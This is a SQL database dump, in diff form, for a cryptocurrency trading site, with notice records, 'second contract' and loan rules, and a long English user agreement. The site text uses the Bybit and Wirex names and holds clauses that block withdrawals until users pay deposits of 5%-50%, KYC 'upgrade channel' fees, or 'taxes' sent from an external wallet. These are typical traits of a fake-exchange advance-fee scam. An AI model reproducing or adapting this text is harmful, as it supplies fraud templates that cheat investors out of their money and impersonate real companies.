varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '图片地址', + `chained_url` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '链接地址', + `detail_url` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '详情页', + `language_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT 'zh:1,cht:2,en:3,pt:4,sa:5,ko:6,ja:7,es:8,th:9,ms:10,id:11,fr:12,ru:13', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT '0' COMMENT '公告状态(0正常 1关闭)', + `source` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '展示端1=pc 2=h5', + `sort` int(0) NULL DEFAULT NULL COMMENT '排序', + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '备注', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '修改人', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + PRIMARY KEY (`notice_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 83 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin COMMENT = '公告表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_notice +-- ---------------------------- +INSERT INTO `t_notice` VALUES (56, '111', '2', '3', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0cd8d88c61efc46bd92726e291e3c3ca9.png', NULL, NULL, 'zh', '0', NULL, NULL, NULL, NULL, '2023-08-08 10:32:16', NULL, '2023-08-22 14:03:23'); +INSERT INTO `t_notice` VALUES (58, 'test', '2', '1', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.012d75e0c18ec4602a3625d0d3222180a.png', NULL, NULL, 'zh', '0', NULL, NULL, NULL, NULL, '2023-08-08 11:09:56', NULL, '2023-08-11 13:43:27'); +INSERT INTO `t_notice` VALUES (61, '首页公告', '3', '1', '开始你的数字货币之旅。如需要模拟金额,请联系客服。', 0, NULL, 0, NULL, NULL, NULL, NULL, 'zh', '0', NULL, NULL, NULL, NULL, '2023-08-08 11:10:59', NULL, '2023-08-22 17:01:55'); +INSERT INTO `t_notice` VALUES (62, '平台公告', '1', '2', '

欢迎访问Wirex官网

', 0, NULL, 0, '2024-08-08 08:00:00', NULL, NULL, NULL, '1', '0', NULL, NULL, NULL, NULL, '2023-08-09 01:39:13', NULL, '2023-12-08 01:31:09'); +INSERT INTO `t_notice` VALUES (66, '英文', '2', '1', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.07d58013724824722bd39198e1834bdcc.png', NULL, NULL, 'en', '0', NULL, NULL, NULL, NULL, '2023-08-21 19:37:59', NULL, NULL); +INSERT INTO `t_notice` VALUES (67, '日语', '2', '1', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.031d6e22404234a9bbeb5dd1b6e76777a.png', NULL, NULL, 'ja', '0', NULL, NULL, NULL, NULL, '2023-08-21 19:41:58', NULL, NULL); +INSERT INTO `t_notice` VALUES (68, '韩语', '2', '1', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.098c1b92ff20d45e1aa9d7730d2b80e94.png', NULL, NULL, 'ko', '0', NULL, NULL, NULL, NULL, '2023-08-21 19:42:15', NULL, NULL); +INSERT INTO `t_notice` VALUES (69, '泰语', '2', '1', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.06c480decb33c4a2aa86af293048d7e16.png', NULL, NULL, 'th', '0', NULL, NULL, NULL, NULL, '2023-08-21 19:42:45', NULL, NULL); +INSERT INTO `t_notice` VALUES (70, '越南语', '2', '1', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0aed7ab54d1eb47e48a20cd5030a75268.png', NULL, NULL, 'vi', '0', NULL, NULL, NULL, NULL, '2023-08-21 19:43:08', NULL, NULL); +INSERT INTO `t_notice` VALUES (71, '中文繁体', '2', '1', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0fa25f9528e064c3cbac0ca6e856d12ac.png', NULL, NULL, 'tw', '0', NULL, NULL, NULL, NULL, '2023-08-21 19:44:51', NULL, NULL); +INSERT INTO `t_notice` VALUES (72, '中繁', '2', '3', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.016cc55026f3d4679a0c8959cb817bd1b.png', NULL, NULL, 'tw', '0', NULL, NULL, NULL, NULL, '2023-08-21 21:42:58', NULL, '2023-08-22 14:03:49'); +INSERT INTO `t_notice` VALUES (73, '英语', '2', '3', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.05f9994c159d248afaa68137c11b85a1b.png', NULL, NULL, 'en', '0', NULL, NULL, NULL, NULL, '2023-08-21 21:43:20', NULL, '2023-08-22 14:03:59'); +INSERT INTO `t_notice` VALUES (74, '日语', '2', '3', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.010c30fb4a7704d61ac83c5b591b97a2d.png', NULL, NULL, 'ja', '0', NULL, NULL, NULL, NULL, '2023-08-21 21:43:37', NULL, '2023-08-22 14:04:10'); +INSERT INTO `t_notice` VALUES (75, '韩语', '2', '3', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0f7a9e9f1e18241c1a1ba9564ecd793d6.png', NULL, NULL, 'ko', '0', NULL, NULL, NULL, NULL, '2023-08-21 21:44:05', NULL, '2023-08-22 14:04:20'); +INSERT INTO `t_notice` VALUES (76, '泰语', '2', '3', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.02b0abc7d400c412083ff96bbf04a0f0d.png', NULL, NULL, 'th', '0', NULL, NULL, NULL, NULL, '2023-08-21 21:44:25', NULL, '2023-08-22 14:04:30'); +INSERT INTO `t_notice` VALUES (77, '越南语', '2', '3', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0278fd0f66ed04efbb1d9a3628966fa70.png', NULL, NULL, 'vi', '0', NULL, NULL, NULL, NULL, '2023-08-21 21:44:42', NULL, '2023-08-22 14:04:40'); +INSERT INTO `t_notice` VALUES (78, '首页公告', '3', '1', 'Start your digital currency journey ', 0, NULL, 0, NULL, NULL, NULL, NULL, 'en', '0', NULL, NULL, NULL, NULL, '2023-08-22 17:00:48', NULL, NULL); +INSERT INTO `t_notice` VALUES (79, '首页公告', '3', '1', 'デジタル通貨の旅を始めましょう ', 0, NULL, 0, NULL, NULL, NULL, NULL, 'ja', '0', NULL, NULL, NULL, NULL, '2023-08-22 17:01:05', NULL, NULL); +INSERT INTO `t_notice` VALUES (80, '首页公告', '3', '1', 'Bắt đầu hành trình tiền tệ kỹ thuật số của bạn ', 0, NULL, 0, NULL, NULL, NULL, NULL, 'vi', '0', NULL, NULL, NULL, NULL, '2023-08-22 17:01:44', NULL, NULL); +INSERT INTO `t_notice` VALUES (81, '首页公告', '3', '1', '디지털 통화 여정을 시작하세요 ', 0, NULL, 0, NULL, NULL, NULL, NULL, 'ko', '0', NULL, NULL, NULL, NULL, '2023-08-22 17:02:52', NULL, NULL); +INSERT INTO `t_notice` VALUES (82, '白皮书-中文', '4', '1', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0003cf2282a984c37bb0ba0ab5cfd4615.pdf', NULL, NULL, 'en', '0', NULL, NULL, NULL, NULL, '2023-08-25 13:09:58', NULL, '2023-08-25 17:09:56'); + +-- ---------------------------- +-- Table structure for t_option_rules +-- ---------------------------- +DROP TABLE IF EXISTS `t_option_rules`; +CREATE TABLE `t_option_rules` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '标题', + `language` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '语言 en zh', + `content` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL COMMENT '内容', + `is_show` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '是否展示 0展示 2不展示', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `type` int(0) NULL DEFAULT NULL COMMENT '0=服务条款 1=秒合约说明 2=币币交易说明 3=代理活动 4=U本位合约说明 5=注册隐私政策 6=注册使用条款 7=贷款规则', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 100129 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '前台文本配置' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_option_rules +-- ---------------------------- +INSERT INTO `t_option_rules` VALUES (100108, '秒合约规则', 'zh', '

交易时间: 秒合约的交易时间非常短,您需要在极短的时间内进行交易决策和操作。


交易币种: 秒合约可能适用于不同的交易币种,您可以选择您熟悉的币种进行交易。


交易方向: 您可以选择做多(买入)或做空(卖出)秒合约,根据您对市场走势的判断。


交易费用: 秒合约可能会产生交易费用,包括开仓费、平仓费等。这些费用可能因交易所而异。


交易平台: 秒合约通常在一些特定的交易平台上提供,这些平台专注于提供快速交易的体验。


秒合约的交易时间短,市场波动也可能较大,因此市场风险相对较高。建议您进行充分的市场分析和风险评估。

', '0', '2023-08-08 15:21:38', 1, NULL); +INSERT INTO `t_option_rules` VALUES (100109, '贷款规则', 'zh', '

1,什么是 Bybit借贷?

Bybit 贷款是与第三方贷款公司合作的一项金融服务,为您提供贷款以满足短期流动性资金需求。 


2,我怎样才能获得贷款?需要满足什么要求?

贷款程序尽可能简单。只要你有一个 bybit 账户。你需要确保你的Bybit账户中有足够的抵押资产进行贷款,同意条款并申请贷款,然后寻找客服进行确认


3,所借资产可以在 Bybit 上交易哪些产品?

所借代币可以在 Bybit 上进行任何交易,(杠杆交易,合约交易,质押挖矿)


4,所借资产可以提现吗?

可以,你可以提取所借资产,但是请注意您的还款不能从Bybit 账户内扣除,您需要完成还款才能进行提取功能


5,借币以什么形式进行发放?

借币可以以USDT,BTC,ETH等热门币种进行发放,贷款审核完成后会在24小时内发放到你的总资产中


6,最低贷款期限是多少?

目前,贷款期设有 7 天、14 天、30 天和60 天,用户可以随时归还所借代币。如有疑问请联系客服进行详细咨询


7,我可以用与贷款货币不同的币种来偿还贷款吗?

可以,你可以使用等额的BTC,ETH或USDT偿还贷款


8,如何计算贷款利息?

利息根据实际借贷时间计算得出(不足一个月按一个月进行计算)。月利率0.01。(例如你借款100000美元,那么你一个月的还款利息是1000美元)

每月的最后3天为最后还款日,当然你也可以提前完成还款,如果月末3天遇上周六,周日,或者公休日,还款日将顺推1-3天



9,可以提前偿还全部或部分贷款吗?

您可以提前偿还贷款。您可以寻找客服申请提前还款完成此操作。


如果提前还款,超过3000美元(或3500美元或3500欧元)。 总还款额(包括费用)不能超过您在原期结束时必须还款的金额。 这意味着,在提前还款的情况下,您必须偿还相同款项。


10,如何偿还本金和利息?

请联系客服人员,客服人员将为你提供专门的还款账户


11,贷款到期后会自动还款吗?

目前暂不支持自动还款。


12,如果我没有按时还款会怎么样?

为避免错过贷款还款日,客服会在您该还款日期之前反复通知。如果您错过还款日,您的贷款将自动延长7天。在这种情况下,您将被收取贷款金额的0.025的额外逾期利息


如果您在延长期限结束时错过付款,您的信用额度将再次延长 7 天。通过这种方式,贷款可以根据您的意愿多次延长,同时您的抵押品足以担保债务。请注意,您需要为贷款的每次延期付费。您的贷款债务随着每次延期而增加,在每次延期时你必须先缴纳逾期利息,请注意!如果长时间未缴纳逾期利息或归还本金,可能会面临冻结账户

', '0', '2023-08-08 15:46:47', 7, NULL); +INSERT INTO `t_option_rules` VALUES (100110, NULL, NULL, '

1,什么是 Bybit借贷?

Bybit 贷款是与第三方贷款公司合作的一项金融服务,为您提供贷款以满足短期流动性资金需求。 


2,我怎样才能获得贷款?需要满足什么要求?

贷款程序尽可能简单。只要你有一个 bybit 账户。你需要确保你的Bybit账户中有足够的抵押资产进行贷款,同意条款并申请贷款,然后寻找客服进行确认


3,所借资产可以在 Bybit 上交易哪些产品?

所借代币可以在 Bybit 上进行任何交易,(杠杆交易,合约交易,质押挖矿)


4,所借资产可以提现吗?

可以,你可以提取所借资产,但是请注意您的还款不能从Bybit 账户内扣除,您需要完成还款才能进行提取功能


5,借币以什么形式进行发放?

借币可以以USDT,BTC,ETH等热门币种进行发放,贷款审核完成后会在24小时内发放到你的总资产中


6,最低贷款期限是多少?

目前,贷款期设有 7 天、14 天、30 天和60 天,用户可以随时归还所借代币。如有疑问请联系客服进行详细咨询


7,我可以用与贷款货币不同的币种来偿还贷款吗?

可以,你可以使用等额的BTC,ETH或USDT偿还贷款


8,如何计算贷款利息?

利息根据实际借贷时间计算得出(不足一个月按一个月进行计算)。月利率0.01。(例如你借款100000美元,那么你一个月的还款利息是1000美元)

每月的最后3天为最后还款日,当然你也可以提前完成还款,如果月末3天遇上周六,周日,或者公休日,还款日将顺推1-3天



9,可以提前偿还全部或部分贷款吗?

您可以提前偿还贷款。您可以寻找客服申请提前还款完成此操作。


如果提前还款,超过3000美元(或3500美元或3500欧元)。 总还款额(包括费用)不能超过您在原期结束时必须还款的金额。 这意味着,在提前还款的情况下,您必须偿还相同款项。


10,如何偿还本金和利息?

请联系客服人员,客服人员将为你提供专门的还款账户


11,贷款到期后会自动还款吗?

目前暂不支持自动还款。


12,如果我没有按时还款会怎么样?

为避免错过贷款还款日,客服会在您该还款日期之前反复通知。如果您错过还款日,您的贷款将自动延长7天。在这种情况下,您将被收取贷款金额的0.025的额外逾期利息


如果您在延长期限结束时错过付款,您的信用额度将再次延长 7 天。通过这种方式,贷款可以根据您的意愿多次延长,同时您的抵押品足以担保债务。请注意,您需要为贷款的每次延期付费。您的贷款债务随着每次延期而增加,在每次延期时你必须先缴纳逾期利息,请注意!如果长时间未缴纳逾期利息或归还本金,可能会面临冻结账户

', NULL, '2023-08-08 15:47:25', 7, NULL); +INSERT INTO `t_option_rules` VALUES (100111, '使用条款', 'zh', '

User License Agreement


1. General Rules

1.1 The User Agreement (\"Agreement\" or \"Terms and Conditions\") consists of the text, the Privacy Policy, the Know Your Customer and Anti-Money Laundering Policy, and various rules, statements, and instructions that have been or may be issued by the Site. The Agreement consists of the text, the Privacy Policy, the Know Your Customer and Anti-Money Laundering Policy, and any rules, statements, instructions, etc. that have been or may be published on the Site.

1.2 You should read this Agreement carefully before using the services provided by the Site and consult a professional lawyer if you do not understand anything or if otherwise necessary. If you do not agree with this Agreement and/or its modification from time to time, you should immediately stop using the services provided by the Site or stop accessing the Site. Once you access this website, use any service of this website or any other similar behavior, you have understood and fully agree to the content of this agreement, including any modification of this agreement made by this website at any time.

1.3 You can become a member of this website (hereinafter referred to as \"Member\") by filling in the relevant information in accordance with the requirements of this website and successfully registering after other relevant procedures. In the process of registration, clicking the \"Agree\" button means that you have reached an agreement with the company in the form of electronic signature; or when you click on any button marked with \"Agree\" or similar meaning in the process of using this website or actually use the services provided by this website in other ways allowed by this website, it means that you fully understand, agree and accept the binding of all the terms under this agreement, and the absence of your handwritten written signature does not The absence of your handwritten signature does not affect the legally binding effect of this Agreement on you.

1.4 After becoming a member of this website, you will be given a member account and a corresponding password, which shall be kept by you; you shall be legally responsible for all activities and events carried out with your account.

1.5 Only members of this website can use the digital asset trading platform provided by this website to trade and enjoy other services provided by this website that are only available to members; non-members can only access the website, browse the website and other services provided by this website.

1.6 By registering and using any of the services and features offered on the Site, you will be deemed to have read, understood and:

1.6.1 Accept to be bound by all terms and conditions of this Agreement.

1.6.2 You confirm that you are 16 years of age or older or have the legal age to enter into a contract under different applicable laws, and that your registration, sale or purchase, posting of information and other acceptance of services on the Site shall be in accordance with the relevant laws and regulations of the sovereign country or region having jurisdiction over you, and that you have sufficient capacity to accept these terms and enter into transactions and use the Site for digital assets Transactions.

1.6.3 You warrant that all digital assets belonging to you involved in a transaction are legally acquired and owned by you. 1.6.4 You agree that you are solely responsible for your own transactions or non-transactions and any gains or losses.

1.6.5 You confirm that the information provided during registration is true and accurate.

1.6.6 You agree to comply with any relevant legal requirements, for tax purposes, including reporting any trading profits.

1.6.7 You agree not to engage in or participate in conduct or activities that are detrimental to the interests of the Site or the Company at any time, whether or not in connection with the services provided on the Site.

1.6.8 This Agreement only governs the rights and obligations agreed between you and us, and does not cover legal relationships and legal disputes between users of the Site and other websites and between you as a result of transactions in digital assets.


2. Agreement amendment

We reserve the right to revise this Agreement from time to time and to announce the changes by way of posting on the Website without further separate notice to you, and the changed Agreement will be marked on the first page of this Agreement with the time of the changes and will become effective immediately upon posting on the Website. If you do not agree with the changes, you should immediately stop using the Services; by continuing to use the Services, you accept and agree to be bound by the revised Agreement.


3.Sign Up

3.1 Sign Up Qualification

You acknowledge and Sign Up that you shall be a natural person, legal entity or other organization with the ability to sign this agreement and use the services of this website as provided by applicable laws when you complete the registration process or actually use the services provided by this website in other ways as permitted by this website. Once you click on the Sign Up button, it means that you yourself or your authorized agent has agreed to the content of the agreement and its agent to Sign Up and use the services of this website. If you do not have the aforementioned subject qualifications, you and your authorized agent shall bear all consequences resulting from this, and the Company reserves the right to cancel or permanently freeze your account and pursue responsibility from you and your authorized agent.

3.2 Sign Up Purpose

You acknowledge and undertake that your Sign Up on this website is not for the purpose of violating laws and regulations or disrupting the orderly trading of digital assets on this website.

3.3 Sign Up Process

3.3.1 You agree to provide valid email address, cell phone number and other information as required by the user Sign Up page of this website, and you may use the email address, cell phone number provided or confirmed by you or other means allowed by this website as a means of logging into this website. If necessary, according to the relevant laws and Sign Up of different jurisdictions, you must provide your real name, identity document and other relevant information as stipulated by the law and the Sign Up page, and keep the information on the Sign Up page updated to meet the timeliness, exhaustiveness and accuracy of the Sign Up page. All information initially keyed in will be cited as contracted information. You shall be responsible for the truthfulness, completeness and accuracy of such information, and shall bear any direct or indirect losses and adverse consequences arising therefrom.

3.3.2 If the laws, regulations, rules, orders and other norms of your sovereign country or region have real name requirements for cell phone numbers, you agree to provide that the Sign Up cell phone number is registered with your real name, and if you do not provide it in accordance with the regulations, any direct or indirect losses and adverse consequences caused to you as a result shall be borne by you.

3.3.3 You are entitled to obtain an account number and password for this website after you have legally, completely and effectively provided the information required for Sign Up and verified it.

3.3.4 You agree to receive e-mails and/or short messages from the Site in connection with the administration and operation of the Site.


4.Serve

This website only provides web trading platform services for your digital asset trading activities (including but not limited to digital asset trading and other services) through this website.

4.1 Service Content

4.1.1 You have the right to browse the real-time quotation and trading information of various products of digital assets on this website, and the right to submit digital asset trading orders and complete digital asset trading through this website.

4.1.2 You have the right to view the information under your member account on this website and the right to use the functions provided on this website for operation.

4.1.3 You have the right to participate in the website activities organized by this website in accordance with the rules of activities published on this website.

4.1.4 Other services that this website promises to provide for you.

4.2. Service Rules You undertake to abide by the following service rules of this website:

4.2.1 You shall comply with the provisions of laws, regulations, and policy requirements, ensure the legality of the source of all digital assets in your account, and shall not engage in illegal or other activities that harm the rights and interests of the Website or third parties on the Website or using the services of the Website, including but not limited to sending or receiving any illegal, irregular, or infringing information on the rights and interests of others, sending or receiving marketing materials or other harmful information or Once your account funds are complained, you must cooperate with the platform to review the information and collect the evidence.

4.2.2 You shall comply with the laws and regulations and use and keep your account and login password, fund password, and the cell phone number bound to your registration, as well as the cell phone verification code received by your cell phone. You are fully responsible for any operation and consequences of using your account number and login password, fund password and mobile phone verification code. When you find that the account number, login password, or fund password or verification code of this website is used by a third party without your authorization, or there are other account security problems, you should immediately and effectively notify this website and request this website to suspend the service of this website account. This website has the right to take action on such request from you within a reasonable time, but this website will not be responsible for the consequences (including but not limited to any loss to you) that have arisen before taking action. You may not give, borrow, rent, transfer or otherwise dispose of your account on the Website to another person without the consent of the Website.

4.2.3 You agree to be responsible for all activities that occur under your account and password on the Site (including but not limited to disclosing information, posting information, clicking online to agree to or submit to various rules and agreements, renewing agreements online or purchasing services, etc.).

4.2.4 You shall not maliciously interfere with the normal conduct of digital asset transactions or disrupt the order of transactions when trading digital assets on this website; you shall not interfere with the normal operation of this website or interfere with other users\' use of the services of this website by any technical means or otherwise; you shall not maliciously defame the goodwill of this website by falsifying facts or other means.

4.2.5 If you have disputes with other users due to online transactions, you shall not request the Website to provide relevant information through judicial or administrative channels other than the Website.

4.2.6 In the process of using the services provided by this website, the taxable expenses, as well as all hardware, software, services and other expenses shall be borne by you alone.

4.2.7 Due to the current special international situation, large amounts of funds are withdrawn from sensitive countries or regions (USA, Russia, Ukraine, China, Taiwan, etc.). You must ensure that your funds are legitimate, do not use the decentralized nature of the Site to engage in any form of terrorist, political, military or anti-religious activities, and refuse to fund such groups and individuals. If your funds are monitored and prosecuted by the financial authorities during the withdrawal process, you may be required to pay a deposit of 5%-50%.

4.2.8 You shall comply with this Agreement and other terms of service and operating rules published and updated from time to time on this website, and have the right to terminate the use of the services provided by this website at any time.

4.2.9 If you withdraw a total of USD 200,000 or a single withdrawal of USD 50,000 or more from our website, you will need to increase your KYC level and pay a deposit for the upgrade channel fee, which will be calculated through a cryptographic system based on the blockchain network you use and will be refunded to your trading account when the upgrade is completed.

4.3. Product rules

4.3.1 Viewing Trading Information

When browsing the trading information on this website, you should carefully read all the contents contained in the trading information, including but not limited to the price, order volume, commission, buy or sell direction, and you should not click on the button to trade until you fully accept all the contents contained in the trading information.

4.3. 2 Submitting an order

After reviewing the trade information and confirming that it is correct, you may submit your trade order. When you submit a trade order, you authorize this website to conduct the corresponding trade aggregation on your behalf, and this website will automatically complete the aggregated trade without prior notice to you when there is a trade that meets your order price.

4.3.3 Viewing transaction details

You can view the corresponding transaction records through your account.

4.3.4 Revoke/modify an order. You have the right to revoke or modify an order at any time before it is concluded.


5. Rights and obligations of this website

5.1 If you do not have the registration qualifications agreed to in this agreement, the Site has the right to refuse your registration, and for those who have registered, the Site has the right to cancel your membership account, and the Site reserves the right to pursue responsibility from you or your authorized agent. At the same time, this website reserves the right to decide whether to accept your registration under any other circumstances.

5.2 According to the Site\'s own judgment, the Site has the right to suspend or terminate your account and all associated accounts if it finds that you or your associated account users are not suitable for high-risk investments.

5.3 If the Website finds that the account user is not the initial registrant of the account, it has the right to suspend or terminate the use of the account.

5.4 The Website has the right to notify you to correct or update the information or suspend or terminate the services of the Website for you when it reasonably suspects that the information provided by you is incorrect, inaccurate, invalid or incomplete through technical testing, manual sampling and other testing methods.

5.5 The Website has the right to correct any information displayed on the Website if it is found to be obviously incorrect.

5.6 The Website reserves the right to modify, suspend or terminate the services of the Website at any time, and the Website exercises the right to modify or suspend the services without prior notice to you; if the Website terminates one or more services on the Website, the termination will take effect from the date the Website publishes the termination notice on the Website.

5.7 The Website will take necessary technical means and management measures to guarantee the normal operation of the Website and provide necessary and reliable trading environment and trading services to maintain the order of digital asset trading.

5.8 If you do not use the website member account and password to log in this website for one consecutive year, this website has the right to cancel your account of this website. After account cancellation, the Website has the right to open the corresponding membership name for other users to register and use.

5.9 Tax Obligations When the available funds in your trading account exceed the funds you deposited, each withdrawal of your funds will trigger a tax audit. If there are no tax disputes in your account, your funds will arrive quickly to your external wallet, otherwise the system will limit some of the functions of your account and send an email about taxes to your email address. Due to the anonymity and untraceability of cryptocurrencies, you cannot use the funds available in your trading account for tax purposes and you will need to pay the corresponding amount of cryptocurrency using your external wallet, as calculated by the system. If you have any concerns or questions, you can consult our online customer service for detailed assistance before using the account.


6.Compensation

6.1 In no event will our liability to you for direct damages exceed the total service fees we charge you for your use of the Site for a period of three (3) months.

6.2 In the event of any breach by you of this Agreement or other laws or regulations, etc., you shall indemnify us for at least $2,000,000 and all costs incurred in connection therewith (including attorneys\' fees, etc.), which shall be made up if not sufficient to cover actual damages.


7.The right to seek injunctive relief

We and you acknowledge that common law remedies for your breach or threatened breach may not be sufficient to cover the full amount of damages we have suffered, so we are entitled to seek injunctive relief in the event of your breach or threatened breach and all other remedies permitted at common law or in equity.


8. Limitation of Liability and Exclusion of Liability

8.1 You understand and agree that in no event shall we be liable for.

8.1.1 Loss of revenue.

8.1.2 Loss of trading profits or contracts.

8.1.3 Losses resulting from business interruption.

8.1.4 loss of anticipated monetary savings.

8.1.5 Losses due to information problems.

8.1.6 Loss of opportunity, goodwill or reputation.

8.1.7 Damage to or loss of data.

8.1.8 The cost of purchasing alternative products or services.

8.1.9 any indirect, special or incidental loss or damage arising out of tort (including negligence), breach of contract or any other cause, whether or not such loss or damage was reasonably foreseeable by us; whether or not we were advised in advance of the possibility of such loss or damage.

Sections 8.1.1 to 8.1.9 are independent of each other.

8.2 You understand and agree that we shall not be liable to you for any damages arising out of any of the following.

8.2.1 there may be a material breach of law or contract in relation to your particular transaction

8.2.2 Your conduct on the Site is suspected to be illegal or immoral.

8.2.3 Costs and losses arising from acts or substitutes such as purchasing or obtaining any data or information or conducting transactions through the services of this website.

8.2.4 Your misunderstanding of the services of this website.

8.2.5 Any other losses not caused by us in connection with the services provided on this website.

8.3 We are not responsible for any loss or damage caused by maintenance of information network equipment, failure of information network connection, failure of computer, communication or other systems, power failure, weather, accidents, strikes, labor disputes, riots, insurrections, disturbances, lack of productivity or means of production, fires, floods, storms, explosions, wars, bank or other partner causes, collapse of the digital asset market, governmental actions, judicial or administrative authorities, other acts beyond our control or beyond our ability to control, or third parties. orders, other acts beyond our control or our ability to control, or third parties, and we will not be liable for any failure to provide service or delay in service, or for any loss you may incur.

8.4 We cannot guarantee that all information, programs, texts, etc. contained in this website are completely safe and free from any interference and damage by viruses, Trojan horses and other malicious programs, so it is your personal decision and your own risk and possible loss to log on, use any service on this website or download and use any programs, information, data, etc. downloaded.

8.5 We do not guarantee or promise any information, products and business of any third party websites linked to this website or any other form of content that does not belong to our subjects, etc. If you use any services, information and products provided by third party websites, it is your personal decision and you bear all responsibilities arising therefrom.

8.6 We make no warranties, express or implied, with respect to your use of the services on the Site, including, but not limited to, the suitability, absence of errors or omissions, continuity, accuracy, reliability, and fitness for a particular purpose of the services provided on the Site. Also, we do not make any promises and guarantees for the validity, accuracy, correctness, reliability, quality, stability, completeness and timeliness of the technology and information involved in the services provided on this website. The decision to access or use the services provided on this website is your own and is at your own risk and possible loss. You understand and appreciate that the market for digital assets is unstable, and that prices and values may fluctuate or collapse significantly at any time, and that trading in digital assets is your own free choice and decision and you bear your own risk and possible losses.

8.7 Our warranties and undertakings set forth in this Agreement are the only warranties and representations made by us in connection with this Agreement and the services provided on the Site and supersede all other warranties and undertakings, whether written or oral, express or implied, arising from any other means or manner. All such warranties and representations represent only our own promises and guarantees and do not guarantee compliance by any third party with the warranties and undertakings in this Agreement.

8.8 We do not waive any right we have to limit, exclude or set off our liability for damages to the maximum extent applicable by law that is not mentioned in this agreement.

8.9 By registering, you acknowledge that any actions taken by us in accordance with the rules set out in this Agreement are at your risk.


9.Termination of Agreement

9.1 The Website has the right to terminate all the services of the Website in accordance with this Agreement, and this Agreement will be terminated on the date of termination of all the services of the Website.

9.2 After the termination of this Agreement, you have no right to request the Website to continue to provide any service or perform any other obligations to you, including but not limited to requesting the Website to retain or disclose to you any information in its original Website account, forwarding to you or a third party any information that it has not read or sent, etc.

9.3 The termination of this Agreement shall not affect the defaulting party\'s claim of other liabilities against the defaulting party.


10.Intellectual Property

10.1 All intellectual property rights in all intellectual works contained in the Site including, but not limited to, the Site logo, databases, Site design, text and graphics, software, photographs, videos, music, sound and combinations thereof, software compilations, related source code and software (including applets and scripts) are owned by the Site. You may not reproduce, modify, copy, transmit or use any of the foregoing materials or content for commercial purposes.

10.2 All rights (including, without limitation, goodwill and trademarks and logos) contained in the name of the Site are owned by the Company.

10.3 Your acceptance of this Agreement shall be deemed as your initiative to transfer the copyright of any form of information published on this website, including but not limited to: reproduction rights, distribution rights, rental rights, exhibition rights, performance rights, projection rights, broadcasting rights, information network transmission rights, filming rights, adaptation rights, translation rights, compilation rights and other transferable rights that should be enjoyed by the copyright owner to this website exclusively without compensation, this website The right to file a separate lawsuit against any subject infringement and obtain full compensation. This Agreement shall apply to the content of any copyrighted work published by you on the Website, regardless of whether the content was formed before or after the signing of this Agreement.

10.4 You shall not unlawfully use or dispose of the intellectual property rights of the Website or others in the course of using the services of the Website. You may not publish or authorize other websites (and media) to use the information that has been published on the Website in any form.

10.5 Your access to the Site or use of any of the services provided on the Site shall not be deemed to be a transfer of any intellectual property rights from us to you.


11.Asset Protection

Risk Control for Withdrawal Addresses. If your withdrawal address is incorrect, the risk control system will lock your account and automatically initiate the verification process. You must complete the following three steps in order for the risk control system to recognize your identity and unlock your account.

1) Provide a photo of the KYC document you used to authenticate your account on our website.

2) Find a white piece of paper with today\'s date written on it and have your KYC document, your face and the white paper appear on the same photo.

